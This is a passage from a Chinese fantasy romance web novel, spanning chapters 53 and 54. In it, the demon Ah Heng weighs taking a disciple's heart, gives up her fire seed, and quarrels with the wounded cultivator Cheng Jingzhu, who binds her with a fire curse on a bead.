她的目光又不自禁地越过霖娘,在霖娘背后,在客栈这片屋脊尽头,各色的绢灯点缀着街市,街上那么多的人来人往,街边摊贩叫卖的声音此起彼伏,阿姮的舌头尝不出红糖饼的任何滋味,可她的鼻子却隐约嗅到街市上传来的各种食物的香气。 她知道,霖娘曾经那副皮囊曾经带给她的五感正在消失,从她的味觉开始。 也许很快,她的鼻子就会再也闻不到那些食物的香气。 也许,她的眼睛将再也看不到这夜花灯的每一种颜色,一切都会变得和从前一样,她的世界里只有黑水河水一样的黑,积雪一样的白。 阿姮指节猛然屈起,红糖饼在她手心里成了渣。 她还是需要一个心脏。 一个人类的心脏。 此时,客栈的院子里有人从廊庑那边走来,他穿过重重灯火,身影越发明晰,阿姮最先嗅到他身上的清气。 那是积玉。 阿姮暗红的眸子盯住他。 第53章 第53章 “你来掏啊。” 积玉才要走到檐下去, 却忽然一顿,他停下来,仰起头,那片灯影月辉冷暖交织的屋檐之上青瓦重叠, 两个女子并排坐在脊线之上。 “积玉。” 霖娘喊了他一声:“程公子服药了吗?” 积玉点点头, 问她们:“你们在上面做什么?” “看前面街上的花灯。” 霖娘说。 积玉不知道那些花灯有什么好看的, 正要走,却听檐上阿姮忽然说道:“你手里拿的什么?” 积玉对上那双红眸,不知为何后背忽然有点冷, 他皱了皱眉, 抬起手来, 衣袖往手肘下边退了些, 露出来那东西的全貌,竟是一支黄铜锥。 “这是我药王殿的阴阳锥。” 他说道。 “你拿这个是要做什么?”阿姮问。 积玉抿了一下唇, 说:“那该死的狐妖将浊气灌入小师叔的伤口之中, 我只有用这阴阳锥才能将他体内的浊气给引出来。” “浊气?” 霖娘不明白那是什么东西,她立即问道:“若是不将那东西引出来, 程公子会怎么样?” “寻常人不修行, 身体里便不会有多少清气, 即便浊气侵入体内, 也是没有大碍的, 七七四十九日也就克化了,但修行之人以清气作为运转自身的能量,一旦被浊气入侵体内便会导致血脉淤堵, 不利修行,但只要将清气运转得当,也是可以很快克化掉浊气的……” 积玉说着, 顿了一下:“而小师叔……师父说他是活人命,死身躯。” “活人命,死身躯?” 阿姮重复一声。 “反正,反正就是小师叔比任何修行之人都需要清气,但他身躯却偏偏更适合作浊气的容器,浊气入他体内是没有办法消散的,若不尽快驱除,必会伤及心脉。”积玉说道。 阿姮闻言,再度看向他手中的阴阳锥,那东西看起来尖锐极了,她想到那道道雷电落在程净竹后背,便是那个时候,他的金身碎裂。 “你要用这个东西剖开他的伤口,引出浊气?” 阿姮回过神来。 “嗯。” 积玉神情凝重,握紧了阴阳锥,也不再多说什么了,飞快走到檐下去,而阿姮站起身,目光追着他的背影,看着他穿行廊庑,走到一处房门前,推开门,走进去。 “到底……什么是活人命,死身躯?” 霖娘也站起来。 “字面意思。” 寂静的院中,忽然一道声音传来,阿姮与霖娘几乎同时看去,只见一阵烟气缭绕,当中凭空出现一道身影,那人神观爽迈,乌黑的胡须随风而荡,他将白拂尘往小臂上轻轻一搭,望向屋檐上,明明是在答霖娘的话,他的目光却落在阿姮身上:“所谓活人命,死身躯,即是个活人不假,但那副身躯却早就死了,死人躯是浊气最好的容器,所以浊气常常盘旋在死人的坟墓周围。” “那他为什么会这样?”阿姮与他相视。 阳钧却盯着她片刻,随后抬手指了指自己的额头,说:“阿姮姑娘,你这儿好像有点泥印子。” 霖娘忙看阿姮,这才注意到她额头靠近发根的地方似乎真有点轻微的泥痕,阿姮抬手抹了一把,指尖果然蹭下来一点,她想起来孟婆之前用那只满是泥的手碰了她。 真是讨厌。 阿姮臭着脸。 再看向底下院中,那阳钧已然到了廊庑中,推开程净竹的房门走了进去。 “小师叔!” 阳钧一进屋中忽听积玉这样一声,他抬眼只见数道浊黑的气流如刺般嵌入墙壁,顿时墙上挂画粉碎,案倒炉倾,香灰飞浮。 程净竹脱力一般,因惯性而身躯前倾,一手勉强撑在床上,脊背紧绷若满弓,整个后背很快被鲜血浸透,阳钧神情一凛,立即走了过去,积玉正六神无主,一见阳钧,他连忙俯身:“师父!小师叔他自己强行逼出了浊气!” 阳钧看了一眼积玉手中干干净净的阴阳锥,他叹了口气:“师弟,这些浊气在你体内本就犹如一根根尖刺,涌阴阳锥虽也要受些皮肉之痛,却比你自己逼出来的要好,你何苦受这穿刺血脉之痛……” “多谢师兄好意。” 程净竹满鬓汗湿,一张脸苍白得可怕,他方才说了这么一句话,胸中便一阵气血翻涌,猛然吐出一口血来。 “小师叔!”积玉大惊失色。 阳钧立即坐到床前,拉下来程净竹的衣衫,细布自他腰腹到肩颈缠了满背,此时已完全被鲜血濡湿,阳钧让积玉帮着将那些细布褪了下来,数道发黑的针孔分布在他脊骨两侧,纵横交错的鞭痕血肉模糊,那是狐妖邪阵中的雷电劈在他身上的痕迹。 汩汩的黑血涌出来,阳钧从袖中取出一葫芦,那葫芦悬于空中,他拂尘一扫,葫芦中释放出浓重苦涩的药味,药粉飞出,化为淡淡莹光萦绕在程净竹的伤处:“师弟,这药用起来也痛,你忍着些。” 程净竹一言不发,撑在床上的手指节屈起,几乎泛白,颈侧的青筋分缕鼓起,浑身的肌肉都紧绷起来,指尖在粗糙的衾被上磨得微红,细密的汗几乎布满他苍白的颈项。 阳钧敏锐地嗅到这室内浓重的药气里似乎还隐约有点什么芳香的味道:“积玉,你去哪里寻的好东西给你小师叔熬的汤药?” “禀师父,是阿姮姑娘从阴司孟婆那里带回来的一截花枝。” 积玉答。 程净竹眼睫微动,缓缓抬眸看向积玉。 她带回来的? “小师叔您那会儿还昏睡着,我观那东西蕴含的清气非比寻常,便……便自作主张给您用在了汤药里。” 积玉连忙说道。 阳钧伸手为程净竹把脉,片刻,他点点头:“孟婆相赠,果然是好东西。” “师父,”积玉早就想问了,“阴司那样阴气重的地方,怎么会养护得出如此神物?那孟婆……不是奈何桥上熬汤的吗?” “她如今的确是奈何桥上熬汤的。” 阳钧说道:“但曾经,她是随九仪娘娘一道诛杀天衣人的功臣之一。” “……什么?” 积玉惊愕极了,“既然是再造三界的功臣,为何她不在上界而在阴司?” “药王殿师祖飞升之后,曾给我托过那么几次梦,他每回想到哪儿说哪儿,我哪有机会问?” 阳钧看他那副还有很多问题的样子,便摆摆手:“去,让你用个阴阳锥你都用不好,自己找个地方反省反省。” 积玉耷拉下脑袋:“……是。” 积玉退了出去,将槅门合上,房中一时静了下来,阳钧扶着程净竹躺下去:“用阴阳锥会暂时封闭你的经脉,且不能一次根除,需要连着半月辅以汤药将浊气从你的丹田引上来,虽说耗时耗力,却能保你经脉完好,身体康健,是个最稳妥的法子,你却嫌它太慢了。” 阳钧定定地看着他:“是因为她?” “师兄,”程净竹泛白的唇轻启,“她脾气坏,稍不注意就会惹出祸事,我必须亲自!看着她。” 阳钧沉默了一会儿,说道:“我有几个玄友,他们在人间各处清修,日前,我收到他们来信,说四方妖气大涨,恐是天衣人火种祸乱人间之过,各国玄门皆有消息说作乱的妖是越来越多,这当中必然有潜藏人间的天衣人的手笔,你我从贺州回来的路上所遇见的那些妖孽也全都是那狐妖以火种之力聚集起来的,火种可以轻易掌控人类的欲望,也可以轻易掌控妖的欲望,妖比人的欲望更重,天衣人是在利用妖对抗人,甚至对抗神。” “上清紫霄宫也有消息,说日前相微殿测出一个关于全天下的大凶之兆……师弟,上界不会只等着你来收回火种,为保住天下苍生安宁,不再重蹈坍鸿时期的覆辙,上界绝对会不惜一切,斩草除根。” “她是从赤戎出来的妖邪,”阳钧忽然话锋一转,“你不愿意用阴阳锥,不愿意封闭经脉,究竟是担心她惹祸,还是担心她被上界……” “师兄。” 程净竹盯着他。 阳钧再度陷入沉默,他望着程净竹,这是他看着长大的师弟,一副人的身躯,里面却住着一副冰雕雪琢的神魂,行医用药,符箓阵法,他无一懈怠,也无一不做到最好,他似乎注视着世间万物,可这双眼睛又仿佛从来不见万物。 “活人命,死身躯,”阳钧还是忍不住叮嘱他,“你的戒痕就是你的性命,师弟,无论何时,你千万谨记。” 程净竹垂下眼帘,苍白的脸上没有分毫表情。 天色慢慢由暗转明,阿姮躺在床上学着人类闭上眼睛,人类会做梦,会梦到他们自己的记忆,也会梦到他们的一些妄想,又或者是很多奇怪的片段,但阿姮不会,她不会做梦,也不需要通过睡觉来积攒能量,正是无聊之际,听到霖娘的动静,她懒洋洋地睁开一只眼睛,看见霖娘在精心打扮自己,换了身嫩黄的衫裙,又梳了个漂亮的发髻,又在脸上涂涂抹抹,对着镜子好一会儿,她转过身来跑到阿姮床前,指着自己额头边的银鳞:“阿姮,好阿姮……” 阿姮随意在她额头上点了几下,霖娘掏出随身的小镜来看,额头果然一片光洁,她笑容明媚地拉住阿姮:“我们上街去吧,看你喜欢吃些什么,买回来晚上吃啊。” “不去。” 阿姮一听,立即抽出自己的手,背过身去。 霖娘觉得奇怪:“为什么啊?你不是最喜欢吃好吃的东西了吗?” “你有钱吗你就给我买。” 阿姮闷闷地说。 霖娘俯身歪着脑袋凑近她:“我有个镯子,我去把它当了,这样的话,我就可以给我自己买香粉,还能给你买好吃的了。” 阿姮将她的脸给推回去:“谁要你给我买了。” “哎呀阿姮,走嘛。” 霖娘硬生生将她拉着坐起来。 阿姮被她烦得不行,不情不愿地起来,不情不愿地被她打扮梳洗,然后又不情不愿地被她拉着出了客栈大门。 “你如果什么都不想吃,那也可以买点什么给程公子啊,”霖娘拉着她一边走,一边说道,“也不知道你在闹什么别扭,不管什么,哪有程公子重要呢?他受了那么重的伤,咱们好好给他挑点什么补品之类的。” “他又不吃东西。” 阿姮说。 霖娘忘了这回事,她脚下一顿,想了想,说:“那,那你给他买香茶啊!他不是喜欢喝茶吗?” 阿姮没说话。 霖娘却是一笑,知道她不还嘴就是默认的意思,霖娘挽住她手臂:“那我们去前面……” 话还没说完,霖娘的目光忽然落在一处:“……澹云小姐?” 阿姮闻言,抬眸看去,朦胧的晨雾之中,那女子缓步而来,她身边没有一个仆婢,一身素净的衫裙,发间只簪一支珍珠银钗,她的目光与阿姮相触,很快走了过来。 在阿姮与霖娘面前站定,她无声地垂首,算是问候。 阿姮却在此时注意到她颈子缠着一圈雪白的细布,霖娘也看见了,不由问道:“澹云小姐,你……这是怎么了?” 谢澹云站直身体,从怀中取出一个小册子来,册子上绑着一支本是描眉用的黛笔,霖娘看她在那册子上写字,此时才意识到,对啊……这位澹云小姐被狐妖割了舌头,这辈子再不能说话了。 霖娘一时觉得自己有点冒犯,此时,谢澹云抬起脸来,对上霖娘的目光,她却笑了笑,随后将那页纸撕下来递给她们看。 阿姮认不全字,霖娘便读了出来:“我回到府中昏睡一觉,之前的事我有很多都记不清了,但朦胧中仍有些画面告诉我,是你们救了我,今日我特地来此道谢。” 记不清了? 阿姮看向谢澹云,她想起阴司中孟婆对谢朝燕说过的那些话,难道,是因为谢澹云的执根消失了,所以关于她的前世林三娘的那些事她便记不清了,连带着对他们的记忆也变得模糊? “澹云小姐不必如此,那狐妖作恶多端,人人得而诛之。” 霖娘说着,又注意到谢澹云肩上的包袱:“你这是要去哪儿?” 谢澹云又在册子上写了会儿,又将纸递给霖娘,霖娘又读道:“云山观,听说那里只收女冠……” 霖娘没有读完,便惊愕地抬头:“澹云小姐,你要出家?去做女冠?你家里人……” 谢澹云又写好了一张纸。 霖娘念道:“我母亲自然是不同意的,但我以死相逼,她便也全无办法。” 此时,霖娘方才明白谢澹云的颈子为何裹着一层细布,她不由问道:“澹云小姐为何要出家呢?” 谢澹云的黛笔太软,字迹不够清晰,阿姮看着她随手从身上掏出来一样东西磨了磨笔尖,又在纸上写了字,递来给霖娘。 “我娘苦心为我择婿,为我打算,因为她从前也是这么过来的,一个女子到了合适的年纪,最幸运的事,便是嫁给一个好夫君,我曾也那么想,可惜我读过几本书,终究不甘心一辈子就这么定了,我这后半辈子不想为夫君,不想为家族,我想为我自己,为很多人,所以修行,是我自己选的一条最好的路。” 霖娘读过,不由望向谢澹云。 阿姮也在看她,她似乎做足了充足的准备,换下那身闺阁小姐的繁复衫裙,身上一个包袱,腰侧还有一柄小剑,另一边则挂着一只水囊,脚下踩的也不是刺绣精美的软履,而是一双结实耐磨的男人式样的靴子。 她要远行,且绝不回头了。 “霖娘?” 此时,身后忽然传来一道熟悉的声音,阿姮与霖娘同时回头,看到客栈门前的积玉,霖娘还没说话,却见阿姮忽然朝积玉跑了过去。 “阿姮姑娘,你……”积玉见她跑了过来,才张口,却忽然被阿姮抓住手臂,抖落他的衣袖,许多张符箓从袖子里掉出来。 积玉眉头一皱:“你做什么?” 霖娘见状立即跑了过去,听见阿姮问积玉:“你这些是不是护身用的符箓?” “是又怎样,你快放开我!” 积玉被红雾锁住手脚,脸色十分的不好:“霖娘!她发什么疯?你还不将她拉走……” 霖娘看了一眼不远处的谢澹云,随后一把抓住积玉另一只手臂,积玉懵了,见霖娘也开始抖落起他的袖子,他气得不轻:“你也疯了?” 很快,符箓几乎堆满了积玉的脚边,阿姮见在也抖落不出来什么东西了,她终于放开他,蹲下去跟霖娘一人抱起一堆来,转过身朝谢澹云走去。 红云消散,积玉没了束缚,他几步上前正要算账,却见阿姮跟霖娘将那些符箓全都塞给了谢澹云。 “云山观远吗?” 阿姮问谢澹云。 谢澹云点了点头。 阿姮抬了抬下颌:“那这些你路上用得着。” 积玉一愣,他盯着阿姮的背影看了会儿。 谢澹云没有手写字了,张了张嘴,没有任何声音,但她一点儿没有什么难堪的情状,她笑了笑,对阿姮和霖娘无声地说了“谢谢”。 阿姮看着她,总觉得她那样笑,很像峣雨。 那么云淡风轻,又温柔明朗。 “澹云小姐去云山观做什么?” 积玉问道。 “澹云小姐要去做女冠。” 霖娘说道。 积玉愣了一下,随后在身上摸了摸,没摸到什么东西,他出来买药材,除了银子什么也没带,符箓还全都没了,他往左边看了一眼,见一条小狗趴在街边打呼噜,他一把抓了过来,小狗惊醒,一脸茫然。 积玉撬开它的嘴,在它牙齿上涂了些药,随后扯下发带来系到小狗脖子上,然后将它递给谢澹云:“你带上它,小狗长得快,相信很快就会长成一条恶犬,我在它牙齿上涂了我药王殿特制的灵药,若有妖邪敢近你身,它必然将其咬个粉碎。” 说着,积玉又顿了一下,目光短暂地落在阿姮身上一瞬:“但你也要多加注意,别让它乱咬,毕竟……妖也不都是别有居心的坏种。” 阿姮闻言,颇为意外地看了积玉一眼。 积玉一副极其不自然的样子,清了清嗓子:“我去给小师叔买药材了!” 说完就跑了。 谢澹云抱着一堆符箓,牵着一只小狗走了。 阿姮看着她的背影。 她和谢朝燕一样,背影都那么欢欣,步履都那么轻快。 阿姮和霖娘在街上逛了一圈便回到了客栈,她坐在廊庑里,手指穿过麻绳,将油纸包好的茶叶转着圈儿地玩儿。 她盯着对面廊庑里那间房,听见一阵步履声近,抬起眼帘,只见积玉满头大汗地抱着几包药材回来,很快走到对面廊下的炉子边去配药。 阿姮手臂攀在栏杆上,她盯着积玉好一会儿,此时,霖娘正在房中试用她新买的香粉,这院子里也没什么旁的人在,阿姮随手将茶叶收到怀里,起身往对面去。 积玉正想着药方子,却见一抹雪白的裙摆,他抬起头,对上阿姮的目光,阿姮双手抱臂,靠在柱旁:“喂,你一直都在药王殿?” “对啊。” 积玉一边配药,一边回答。 “那小神仙呢?他也是吗?”阿姮问。 “我是七八岁被师父带到药王殿的,”积玉手里的动作没停,“小师叔却是从小就在,据说是师祖和我师父在山下捡到的他。” “他没有父母?” 积玉摇了摇头,说道:“也不知道是出于什么原因,总之,师祖和师父当时只见到尚在襁褓的小师叔,也没有什么别的人在。” 阿姮看他熟练地将各类配好的药材放入水中熬煮:“他的伤,要什么时候才能好?” 积玉皱了一下眉,想起师父的叮嘱,他说道:“若用了阴阳锥,封住经脉仔细调理,差不多一个多月也就好了,可小师叔他自己强行逼出了那些浊气……还好有你从阴司带回来的东西,不然恐怕真要落下病根了。” “他为什么不用那锥子?” 阿姮一怔,想起那东西是那样锋利,她立即问道:“他怕疼?” “小师叔才不怕呢,他要是真怕疼就不会强逼浊气了,”积玉如今也是一头雾水,“阴阳锥跟那比起来,根本不算什么。” 那是为什么? 阿姮的眉头皱起来:“他的脑子是被那狐妖打坏了吗?” “你脑子才……” 积玉瞪她,话到嘴边,又咽下了后半句,他缓和了点语气,说:“小师叔一定有他自己的道理。” 阿姮盯着他,忽然不说话了。 他身上的清气昭示着他完完全全是一个坚守道心的药王殿好弟子,没沾过一点荤腥,所以清气够好闻,阿姮的目光不着痕迹地落在他的胸口。 那颗心脏,勉勉强强也能算是一颗干净的。 她不必苛求小神仙的那颗好心,因为除了那颗好心,他还有一身芳香的血气,她如果取了小神仙的心,就再不能取得他的血。 倒不如,她取了另外一颗心,这样还能留着他的血。 阿姮的手指尖悄无声息地燃起红云,积玉低着头,还在观察炉子上的汤药,他身上也难得的没有背那柄金剑,所以对于危险,他一无所知。 这正是一个绝好的时机。 阿姮几步走到他身后,笑盈盈地唤:“积玉。” 阿姮袖间的手指尖红云犹如锋利的尖刺,积玉转过身来的刹那,阿姮的手动了一下,忽然迟滞了。 她想起清晨的街上,这个人将那只龇牙咧嘴的小狗交给谢澹云,又叮嘱了一番话,不过刹那,她耳边传来积玉十分不自然的一声:“对不起。” 阿姮眼底流露几分错愕的神情,她抬眸凝视积玉那张脸,以为自己听错,她挑了挑眉:“你说什么?” “我……” 积玉有点羞愧似的,但还是说道:“我此前从未下过山,我以为妖类既不通人情,又不受人类道德的约束,必然都是些欲壑难填的凶恶之辈,因此,我……对你有些偏见,但如今我知道,是我心胸太狭隘了,我就说若阿姮姑娘你真是那等恶妖,小师叔又怎么可能与你一路呢?我为我之前的偏见,向你道歉,你是个好妖。” 阿姮脸上的笑意淡去:“何必呢?我就是恶妖。” 积玉以为她仍在置气,他也不恼:“我听霖娘说,阿姮姑娘似乎很想学我药王殿的傀儡术,我可以将它教给阿姮姑娘。” 阿姮盯着他,脸色越来越不好。 她攥紧掌心,手指尖的红云如簇灭去。 烦死了。 积玉看她这副脸色,实在摸不着头脑:“姑娘不想学了吗?” “学,我当然想学。” 阿姮从齿缝里挤出话来。 积玉松了口气,正要说些什么,却见炉子上的汤药煮沸了,他立即将其倒入碗中,对阿姮道:“我先给小师叔送药。” 积玉动作很快,端起碗来就往廊庑上去,阿姮看着他端碗推门进去,她心气不顺,转身要走,却摸了摸怀中的东西,到底还是几步踏上廊庑,走到门内。 “放着吧。” 她听到一道低哑的声音。 反正汤药还烫,积玉将它放到一边,此时,阿姮方才看清靠在床上的程净竹,自来到这间客栈,她就没有见过他。 此时,他银灰色的长发披散着,那张脸苍白极了,唇上一点血色也没有,他乌浓的眼睫轻抬,那双亮若寒星的眸子倏尔盯住她。 阿姮没有说话。 “积玉,你出去。” 程净竹说道。 积玉看了看他,又看了看阿姮,他抿了一下唇,到底还是什么都没说,依言出去了,他合上门的刹那,阿姮与他目光相对。 总觉得他眼含防备,像是不放心她会冒犯小师叔。 门合上了。 明亮的日光被隔绝在外,阿姮面无表情地想,果然该掏了他的心脏。 屋中变得有些昏昧。 阿姮从怀里掏出那包茶叶,露出笑容,走到床边去,将东西扔到床上:“送给你的。” 程净竹垂眸,瞥了一眼衾被上的东西。 阿姮看不出他脸上有什么神情变化,她不由一屁股坐到床前,歪着脑袋看他:“你不喜欢吗?” 日光被槅门的缝隙切割成散碎的光影,投落在床前,程净竹处在一片昏昧的阴影里,他的目光缓缓落到阿姮那张脸上。 阿姮被他这样冷冽而深邃的目光注视着,不知为什么,总觉得有些危险,她本能地要直起身退开,却忽然被他攥住手腕。 他的目光始终注视着她。 “小神仙……” 阿姮明明没有心脏,却觉得胸腔里有什么在跳跃,是火种吗?它才被她教训过,现在应该很安静才对。 他漂亮的眉目近在咫尺,却那么冰冷。 “你这样的妖邪,” 更冷的,是他双唇吐出的话语,“狡猾,恶劣,任性,得寸进尺,二三其意……” 两个字的阿姮都听懂了。 得寸进尺也勉强懂吧,但是……二三其意是什么意思? “你干嘛骂我?” 阿姮一点就着。 “烈性如火。” 程净竹盯着她生气的模样,方才那副敷衍的笑脸没有了,完全暴露出她的本性。 “原来我在你眼里这么坏啊?可方才积玉还说我是个好妖呢……”阿姮气得笑了,她用力地要挣脱他的手,却被他抓着手腕一拽,她整个人都倒在床上,她身下是一层薄薄的衾被,衾被底下,似乎是他的双膝。 阿姮气得浑身红云直冒:“你……” 她对上程净竹的那双眼,忽然打了个寒颤。 “那么你是吗?” 他居高临下,睨着她,表情清淡。 但阿姮却感觉到他似乎很生气,是从来没有过的,那么的生气。 床前碎光斑驳,他倾身而来,所有的光影都被他宽阔的肩背遮挡,浓暗的一片阴影里,阿姮一只手被他攥着压在床上,她气极了:“我不是又怎样……” “你不是一直想要我的心吗?” 他的声音很轻:“如今却又盯上了积玉?阿姮,这回你又想用什么办法去得到他的心?” 阿姮瞳孔微震,刹那间,她的手被迫越过松散的衣襟,掌心落在他的胸膛,滚烫的温度使她下意识地屈起指节。 挣扎之下,踹倒了床边的汤药,药碗落到地上,四分五裂,苦涩的药味散开。 “小师叔?阿姮姑娘?” 积玉似乎并没有走远,听到了点动静,便跑了过来,敲门。 可屋里没有人应。 阿姮感受到程净竹的心脏在沉稳的,又很快地跳动。 昏昧的阴影里,她怔怔地仰望他。 积玉仍在外面试探着喊他们。 “你不是知道吗?我金身已破。” 他那么漂亮的脸,连垂下来的眼睫都很好看,那副神情却像裹着冰雪,他低首,睨着她,仿佛耳语: “你来掏啊。” 第54章 第54章 “你要一个人走了吗?” 屋中安静极了, 被飞溅的汤药沾湿的帐子边深褐色的水珠一颗一颗地滴答着,那耳语很轻,他的呼吸也离她那样近,近到阿姮从颈项到脊骨全都变得僵硬, 直到他缓缓抬起眼, 阿姮愕然地对上他的目光。 滴答, 滴答。 水声轻响,苦涩的药味盈满鼻息。 “小师叔,你们……没事吧?” 积玉的声音从外面传来, 程净竹抬首看去, 那道槅门被积玉推开一道缝隙, 明亮的碎光映来他的脸, 他周身金芒飞浮四散,槅门猛然合紧, 将积玉挡在门外。 阿姮侧过脸, 只见床尾有一窗,那窗户原本半开, 此时也骤然合拢了, 原来, 床前那点碎光是从此处投落进来的, 此时这间屋子门窗紧闭, 再透不进一点光亮。 阿姮明白过来。 他看见了,看见她故意走到积玉面前,他也听见了, 听见她故意与积玉搭话。 可这些都不是最重要的。 最重要的是, 他竟然早就知道她的企图。 红云在阿姮周身飞浮,万木春的金电丝丝缕缕跳跃其中, 手掌间滚烫的温度令阿姮回过神,她立即想要抽回自己的手,程净竹却攥着她的手腕,岿然不动。 “他早就知道!” “你看啊,他在戏弄你!” 很多,很多尖刻的声音在阿姮耳边叫嚣起来,它们不遗余力地挑动着阿姮敏感的情绪: “你明明那么想要他的心,只要你掏了他的心放到自己的壳子里,你就可以尝到滋味,看见颜色,闻到气味……这对你来说,不是很重要的东西吗?” “多好的机会,你到底在犹豫什么?!” “快,掏出他的心脏来……” “动手,动手!” 阿姮的耳心生疼,她浑身红云暴涨,充盈整间屋子,缕缕金电闪烁其中,明暗不定的光影里,程净竹垂眸,盯着她紧贴他胸膛的那只手。 她的指甲尖端燃起簇簇红焰,锋利若刀,光映他苍白的皮肤,淡青色的血脉隐隐约约,连接修长的颈项,阿姮暗红的眼注视着他的心口:“是在赤戎?那个时候,你就已经知道我在打你心脏的主意。” 她耳里杂声太多,几乎让她听不清自己的说话声。 她的语气越发暴躁:“你却什么也不说,任由我……围着你打转。” 她一根指节微微弯曲,指甲轻轻擦过他胸口的皮肤:“小神仙,你心里究竟在想什么呢?若我将它掏出来放到我的壳子里……它会不会告诉我答案?” 她的指腹感受到他透过皮肤的滚烫,程净竹亦感受到她指尖无穷无尽的阴冷,他却根本不言,只是垂眸注视她。 阿姮有一瞬觉得,他以如此一副冷漠无情的模样,竟仿佛行其割肉喂鹰般的慈悲。 总之,他的不言,不动,对于阿姮来说皆是难言的诱惑。 妖邪的本能使她的指尖兴奋到颤抖,只要她划破他的皮肤,破开他的血肉,他的血液会奔涌而出,他的心脏会在她的手里跳动……阿姮耳边尖利的叫声越来越多,越来越重,它们极力化成任何她听到过的声音,有她自己的,有霖娘的,璇红,峣雨,甚至谢氏姐妹,还有……还有面前的这个人。 她耳里那个与他如出一辙的声音说道:“动手,阿姮。” 这时,面前的他也轻启淡色的唇:“你不想要了吗?” 想啊,很想。 阿姮猛然撑住程净竹的胸口,红云飞浮,金电闪烁,她挣脱不开他的手,干脆一把将他按倒下去,她顷刻翻身而起,压在他身上。 被衾半落床下,淡色的帐子飞扬,阿姮另一只手猛地探向自己胸口,壳子瞬间被烈焰灼出一道裂口。 程净竹那双冷漠的眼骤然浮出惊愕,他浓密的眼睫动了一下,望着阿姮胸前的破口,水泽弥漫:“阿姮……” 阿姮的神情有一瞬扭曲,她浑身都紧绷起来。 怎么会这么痛…… 明明之前都不是很疼的,为什么这一次……这么的痛。 痛得她几乎以为自己长了人类的骨髓,她抓住胸腔里的那颗火种,它不安地跳动着,仿佛牵动她浑身的血脉。 阿姮将手拿出来,她控制不住地颤抖,掌心慢慢在程净竹眼前摊开,浊黑的火种悬空跳跃,红云金电映照阿姮惨白的脸:“火种,给你。” 她很快脱力,眼前眩晕一阵,一双手稳稳地揽住她,阿姮下意识地蜷缩起身体,忍受着这股莫名的剧痛。 程净竹揽着她坐起身,一手将那火种攥在掌心,他垂下眼帘,看着阿姮,她明明那么贪恋火种带给她的力量,她明明那么的固执,根本不肯听话。 程净竹神情敏锐:“你答应孟婆什么了?你……” 他很快意识到,积玉所说的,她从阴司带回来的那一截花枝,并不是孟婆的好心赠予,而是阿姮与她之间的一桩交易。 阿姮若要求得灵药,便必须交出火种。 程净竹垂眸望她,怔住了。 “小神仙,我的壳子是因为你而坏的……”阿姮仍然觉得内里很疼,她目光流连在他的脸上,“你一定要负责啊。” 晦暗的室内,红云弥漫,金电明灭,阿姮望着程净竹,她说不清他究竟是怎样一副神情,她从没见他这样过。 那样一张总是很冷漠的脸,此刻仍旧是面无表情的,但他那双眼睛却一瞬不瞬地盯着她,像是在看她的眼睛,她的五官,她此时此刻的任何表情。 仿佛一分一毫,都不肯错过。 “小神仙,我要化了。” 阿姮满襟湿润,忍不住提醒。 程净竹一言不发,却抬手覆上她心口,掌心淡淡的金芒流转,素色的帐子被气流拂动,暗红的光影里,他垂着眼帘,阿姮看不清他的神情,却听他道:“我给过你机会,是你自己不珍惜。” 阿姮还没反应过来:“……什么?” “从今往后,你也不许再打积玉的主意。” 程净竹缓缓说道:“离他远一点。” “我为什么要听你……”阿姮眉头一皱,生气地张口,目光却蓦地停在程净竹的眉心,他那道朱砂红的戒痕无声裂开一条细细的血口子,鲜红的血珠顺着他秀挺的鼻梁滑下,滴落在阿姮的唇边。 芳香的血气充斥着阿姮的鼻息。 她忍不住舔掉那点血,嘴唇也因此而微微发红,却被它唤起更深的渴望,她一下就忘记了方才要生的气,双手抓住他的手臂:“你的戒痕为什么又流血了?” 程净竹盯着她红润的唇,神色冷淡。 他不说话,阿姮只得又道:“小神仙,不如我们说好,我不打你心脏的主意了,你要不要用你的血来奖励我?反正你的伤还没好,不如……” 程净竹侧过脸,躲开她探来的手。 阿姮气道:“连一点血都舍不得,小气鬼!我这就去掏积玉的心!喝他的血!” 身上不那么疼了,阿姮一时间也忘记了自己胸口的裂缝,说着她便要起身,却被程净竹按住肩。 她浑身红云直冒。 程净竹垂首,轻吐两字:“你敢。” 他似乎又生气了。 阿姮看见他左边的眼皮上残留一点血色,几乎湿润了他乌浓的眼睫。 胸口已经没有火种了,耳边那些叽叽喳喳的声音早都消失了,但她就是觉得胸口里面依稀仍有什么东西在跳跃。 很快,他的手松开,来自他掌心滚烫的温度也很快消失,阿姮低头看到自己胸口已经没有什么裂缝了。 他雪白的衣袖就要从眼前挪开,阿姮忽然一把抓住。 她动作很快,程净竹没有任何防备,身躯前倾下去,阿姮飞快地扑上去。 顷刻, 程净竹下意识地闭起眼睛。 阴冷的,湿润的触感轻轻扫过他的眼皮。 程净竹浑身一震。 她的唇从他单薄地眼皮擦过,直到他耳边,她的声音是那么近在咫尺,那么得意:“你不肯给我也没有关系,我总能找到机会自己来讨。” 程净竹双指一并,若缕金芒化为符咒钻入阿姮食指上的霞珠中,顿时粉霞含金,熠熠生辉,阿姮感到系着霞珠的红绳收紧,她唇边笑意消失:“你做了什么?” 阿姮还靠在他身上,衣袂相贴,他垂落在她脸上的目光淡淡:“你不是喜欢这颗霞珠吗?那就永远别摘下来。” 阿姮闻言,立即伸手去摘,果然那红绳紧贴她的皮囊,难舍难分,她难掩怒容,正要质问,却见他低首逼近。 霞珠中的金芒若丝线一般附着她苍白纤细的手指,牢牢贴附她的每一寸筋骨,令她双手动弹不得。 他靠过来,鼻息很近,阿姮浑身僵住。 “这咒印属火,与你同宗,”他停下,垂眸凝视着她生气的模样,“若你敢靠近积玉,必会自燃躯壳,酷热难耐。” 阿姮对上他那双冰冷的眼眸,顷刻,他直起身,双指一掸,槅门骤然大开,正在外面的积玉吓了一跳,还没看清里面,便见阿姮被丢了出来。 槅门“砰”的一声合拢。 “阿姮姑娘……”积玉看阿姮阴着脸坐在地上,他立即上前,哪知才走近几步,他便见阿姮身上忽然燃起道道金焰,简直整个人都被冲天的火光包裹了,积玉大惊,立即召出符箓,“滔滔江海,来!” 流水凭空乍现,兜头浇了阿姮满身。 积玉见阿姮身上火焰仍未灭去,不由道:“怎么会这样……” 阿姮抹了一把脸,咬牙切齿:“怎么?你小师叔的招数,你不知道吗?” 积玉见阿姮紧捏着指间的霞珠,他明白过来:“霞珠是小师叔自己造的法器,并非药王殿的招数,我自然不知。” “你……”积玉怀疑的目光落在她脸上,“你对小师叔做了什么?否则他怎会如此生气?” 阿姮无论如何使力都将那霞珠拿不下来,她的脸色越来越冷,听见积玉的质问,她冷笑了一声。 就为了这个积玉,他也算是煞费苦心。 “哎,你……没事吧?” 积玉见她低着头不说话,不由朝她走了几步。 